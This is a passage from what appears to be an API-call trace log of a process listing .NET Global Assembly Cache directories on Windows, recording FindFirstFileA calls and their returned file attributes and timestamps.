ftLastAccessTime.dwLowDateTime=0x94942620, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94942620, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.468] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\PresentationUI\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94942620, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5f43a5e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f43a5e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.471] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\ReachFramework\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94abf3e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94abf3e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94abf3e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.471] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\ReachFramework\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94a99280, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5f51ee20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5f51ee20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.478] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\SMDiagnostics\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9402f240, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9402f240, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9402f240, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.479] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\SMDiagnostics\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9402f240, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x615b3b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x615b3b40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.481] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\sysglobl\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934ba860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x934ba860, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x934ba860, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.482] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\sysglobl\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93494700, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x618d3820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x618d3820, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.484] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9378e280, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9378e280, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9378e280, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.485] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93741fc0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x676b3bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x676b3bc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.487] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94113a80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94113a80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94113a80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.488] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940ed920, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61a04320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61a04320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.491] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Core.Presentation\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9407b500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9407b500, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9407b500, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.492] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Core.Presentation\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940553a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61945c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61945c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.497] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.DurableInstancing\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94139be0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94139be0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94139be0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.498] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.DurableInstancing\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94139be0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61a505e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61a505e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.502] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Presentation\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940c77c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x940c77c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x940c77c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.503] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Presentation\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940a1660, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61ae8b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61ae8b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.505] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a159e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93a159e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93a159e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.505] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a159e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61b5af80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b5af80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.509] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn.Contract\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x939ef880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x939ef880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x939ef880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.509] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn.Contract\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x939c9720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61b0ecc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b0ecc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.517] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9d7a240, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9d7a240, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9d7a240, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.518] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9d7a240, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61bcd3a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61bcd3a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.520] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections.Concurrent\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.520] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Collections.Concurrent\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61b810e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b810e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.523] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.523] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61cfdea0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61cfdea0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.525] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Annotations\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.526] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Annotations\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61c19660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61c19660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.531] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a3bb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93a3bb40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93a3bb40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.531] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a3bb40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61c3f7c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61c3f7c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.535] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition.Registration\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e5ea80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e5ea80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e5ea80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.535] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.Composition.Registration\\v4.0_4.0.0.0__b77a5c561934e089\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e5ea80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61c8ba80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61c8ba80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.581] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a61ca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93a87e00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93a87e00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.581] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.DataAnnotations\\v4.0_4.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a61ca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61cd7d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61cd7d40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.586] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.EventBasedAsync\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.587] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.ComponentModel.EventBasedAsync\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x61d4a160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61d4a160, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.592] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934e09c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x934e09c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x934e09c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.593] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934e09c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x661475c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x661475c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0133.595] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Configuration.Install\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9352cc80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9352cc80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9352cc80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0133.596] FindFirstFileA (in: 